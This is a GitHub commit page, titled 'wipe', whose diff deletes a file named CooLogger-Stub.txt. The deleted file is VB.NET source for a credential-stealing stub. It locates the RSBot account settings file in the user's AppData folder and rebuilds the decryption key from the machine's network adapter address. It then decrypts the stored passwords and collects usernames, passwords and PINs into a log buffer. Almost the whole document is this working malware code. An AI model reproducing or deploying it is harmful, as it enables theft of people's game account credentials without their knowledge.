Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

wipe

  • Loading branch information...
commit 8fd90ae3775b2146eda78e40ccccce4935732867 1 parent 414dbb9
@contra authored
Showing with 0 additions and 260 deletions.
  1. +0 −260 sub/CooLogger-Stub.txt
View
260 sub/CooLogger-Stub.txt
@@ -1,260 +0,0 @@
-Module RSBS
- Public Function Steal()
- Try
- Dim Account = New System.Collections.Generic.List(Of RsBotAccount)(RsBotUtil.GetLocalAccounts())
- Dim Pin As String
- For Each Info As RsBotAccount In Account
- If Info.Pin = "" Then Pin = "No Pin" Else Pin = Info.Pin
- [24].[88].AppendText(vbnewline & "~~~~~RSBot~~~~~" & vbnewline & "Username: " & Info.UserName & vbnewline & "Password: " + Info.Password + vbnewline & "Pin: " + Pin + vbnewline & "~~~~~RSBot~~~~~" & vbnewline)
- Next
- Catch Ex As Exception
-
- End try
- End Function
-
- Public NotInheritable Class RsBotUtil
- Private Sub New()
- End Sub
- Public Const SettingsFileName As String = "RSBot_Accounts.ini"
- Public Shared ReadOnly LocalKey As Byte()
- Public Shared ReadOnly SettingsFile As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), SettingsFileName)
- Private Const Delimiter As Char = "a"c
- Private Const UserStartCharacter As String = "["
- Private Const UserEndCharacter As String = "]"
- Private Const PasswordHashItem As String = "password"
- Private Const PinItem As String = "pin"
- Private Const RewardItem As String = "reward"
- Private Const TakeBreaksItem As String = "take_breaks"
- Private Const MemberItem As String = "member"
- Private Const Iso88591CodePage As Integer = 28591
- Private Const Iso88591QuestionMark As Byte = 63
-
- Shared Sub New()
- LocalKey = getLocalKey()
- End Sub
-
- Public Shared Function DecryptPassword(ByVal passwordHash As String) As String
- Return DecryptPassword(passwordHash, LocalKey)
- End Function
-
- Public Shared Function DecryptPassword(ByVal passwordHash As String, ByVal key As Byte()) As String
- If key Is Nothing Then
- Throw New ArgumentNullException("key")
- End If
-
- If key.Length <= 0 Then
- Throw New ArgumentOutOfRangeException("key is empty")
- End If
-
- If String.IsNullOrEmpty(passwordHash) Then
- Throw New ArgumentNullException("passwordHash")
- End If
-
- Dim hashedKey As Byte() = Nothing
- Dim signedHashKey As SByte() = Nothing
- Using sha1 As System.Security.Cryptography.SHA1 = SHA1Managed.Create()
- hashedKey = sha1.ComputeHash(key)
- End Using
-
- signedHashKey = Array.ConvertAll(Of Byte, SByte)(hashedKey, New Converter(Of Byte, SByte)(AddressOf lambdaE))
- Dim splittedHash As String() = passwordHash.Split(Delimiter)
- If splittedHash.Length <= 0 Then
- Throw New ArgumentOutOfRangeException("passwordHash", "invalid password hash")
- End If
-
- Dim password As Byte() = New Byte(splittedHash.Length - 1) {}
-
- Dim i As Integer = 0
- While i < hashedKey.Length
- If i >= splittedHash.Length Then
- Throw New ArgumentOutOfRangeException("key", "invalid key")
- End If
-
- Dim val As Integer = -1
- If Not Integer.TryParse(splittedHash(i), val) Then
- Throw New ArgumentOutOfRangeException("passwordHash", "invalid password hash")
- End If
-
- Dim sbVal As SByte = CSByte(val)
- If sbVal = signedHashKey(i) Then
- Exit While
- End If
-
- Dim charVal As Byte = CByte(sbVal - signedHashKey(i))
- password(i) = charVal
- i += 1
- End While
-
- Return Encoding.[Default].GetString(password, 0, i)
- End Function
-
- Public Shared Function GetLocalAccounts() As RsBotAccount()
- If Not File.Exists(SettingsFile) Then
- Throw New FileNotFoundException("could not find accounts file")
- End If
-
- Using reader As New StreamReader(SettingsFile)
- Return GetLocalAccounts(reader.ReadToEnd(), LocalKey)
- End Using
- End Function
-
- Public Shared Function GetLocalAccounts(ByVal key As Byte()) As RsBotAccount()
- If Not File.Exists(SettingsFile) Then
- Throw New FileNotFoundException("could not find accounts file")
- End If
-
- Using reader As New StreamReader(SettingsFile)
- Return GetLocalAccounts(reader.ReadToEnd(), key)
- End Using
- End Function
- Public Shared Function lambdaE(ByVal o As Byte) As SByte
- Return CSByte(o)
- End Function
-
- Public Shared Function GetLocalAccounts(ByVal accountFileData As String, ByVal key As Byte()) As RsBotAccount()
- If Not File.Exists(SettingsFile) Then
- Throw New FileNotFoundException("could not find accounts file")
- End If
-
- Dim ret As New System.Collections.Generic.List(Of RsBotAccount)()
- Dim split As String() = accountFileData.Split(New String() {Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries)
- For i As Integer = 0 To split.Length - 1
- If Not split(i).StartsWith(UserStartCharacter) Then
- Continue For
- End If
-
- Dim username As String = split(i).Replace(UserStartCharacter, String.Empty).Replace(UserEndCharacter, String.Empty)
- Dim passwordHash As String = Nothing
- Dim password As String = Nothing
- Dim pin As String = Nothing
- Dim reward As String = Nothing
- Dim takeBreaks As System.Nullable(Of Boolean) = Nothing
- Dim member As System.Nullable(Of Boolean) = Nothing
-
- Dim j As Integer = i + 1
- While j < split.Length AndAlso Not split(j).StartsWith(UserStartCharacter)
- Dim startEquals As Integer = split(j).IndexOf("="c)
- If startEquals <= 0 Then
- Exit While
- End If
-
- Dim item As String = split(j).Substring(0, startEquals)
- Dim value As String = split(j).Substring(startEquals + 1, split(j).Length - startEquals - 1)
- Select Case item
- Case PasswordHashItem
- passwordHash = value
- password = RsBotUtil.DecryptPassword(passwordHash, key)
- Exit Select
- Case PinItem
- pin = value
- Exit Select
- Case RewardItem
- reward = value
- Exit Select
- Case TakeBreaksItem
- If True Then
- Dim tmp As Boolean = False
- takeBreaks = Boolean.TryParse(value, tmp) AndAlso tmp
- End If
- Exit Select
- Case MemberItem
- If True Then
- Dim tmp As Boolean = False
- member = Boolean.TryParse(value, tmp) AndAlso tmp
- End If
- Exit Select
- Case Else
- Exit Select
- End Select
- j += 1
- i += 1
- End While
-
- Dim account As New RsBotAccount(username, password, passwordHash, pin, reward, takeBreaks, member)
- ret.Add(account)
- Next
-
- Return ret.ToArray()
- End Function
-
- Public Shared Function ConvertByteEncoding(ByVal key As Byte()) As Byte()
- Dim ret As Byte() = New Byte(key.Length - 1) {}
- Array.Copy(key, ret, key.Length)
-
- For i As Integer = 0 To ret.Length - 1
- If Not isValidIso88591(ret(i)) Then
- ret(i) = Iso88591QuestionMark
- End If
- Next
-
- Return ret
- End Function
-
- Private Shared Function getLocalKey() As Byte()
- Dim key As Byte()
- Dim interfaces As NetworkInterface() = NetworkInterface.GetAllNetworkInterfaces()
- Dim lowestIndex As Integer = -1
- Dim lowestInterfaceIndex As Integer = -1
- For i As Integer = 0 To interfaces.Length - 1
- If interfaces(i).OperationalStatus <> OperationalStatus.Up Then
- Continue For
- End If
-
- Dim ipProperties As IPInterfaceProperties = interfaces(i).GetIPProperties()
- If ipProperties Is Nothing Then
- Continue For
- End If
-
- Dim ipv4Properties As IPv4InterfaceProperties = ipProperties.GetIPv4Properties()
- If ipv4Properties Is Nothing Then
- Continue For
- End If
-
- If lowestInterfaceIndex < 0 OrElse ipv4Properties.Index < lowestInterfaceIndex Then
- lowestIndex = i
- lowestInterfaceIndex = ipv4Properties.Index
- End If
- Next
-
- key = ConvertByteEncoding(interfaces(lowestIndex).GetPhysicalAddress().GetAddressBytes())
-
- If lowestIndex >= 0 Then
- Return key
- End If
-
- Return Encoding.[Default].GetBytes(Environment.UserName + CultureInfo.CurrentCulture.TwoLetterISOLanguageName)
- End Function
-
- Private Shared Function isValidIso88591(ByVal value As Byte) As Boolean
- Return value <= 127 OrElse value >= 160
- End Function
- End Class
-
-
- Public Class RsBotAccount
- Public ReadOnly UserName As String
- Public ReadOnly PasswordHash As String
- Public ReadOnly Password As String
- Public ReadOnly Pin As String
- Public ReadOnly Reward As String
- Public ReadOnly TakeBreaks As System.Nullable(Of Boolean)
- Public ReadOnly IsMember As System.Nullable(Of Boolean)
-
- Public Sub New(ByVal userName__1 As String, ByVal password__2 As String, ByVal passwordHash__3 As String, ByVal pin__4 As String, ByVal reward__5 As String, ByVal takeBreaks__6 As System.Nullable(Of Boolean), _
- ByVal isMember__7 As System.Nullable(Of Boolean))
- If String.IsNullOrEmpty(userName__1) Then
- Throw New ArgumentNullException("userName")
- End If
-
- UserName = userName__1
- Password = password__2
- PasswordHash = passwordHash__3
- Pin = pin__4
- Reward = reward__5
- TakeBreaks = takeBreaks__6
- IsMember = isMember__7
- End Sub
- End Class
-
-
-End Module
Please sign in to comment.
Something went wrong with that request. Please try again.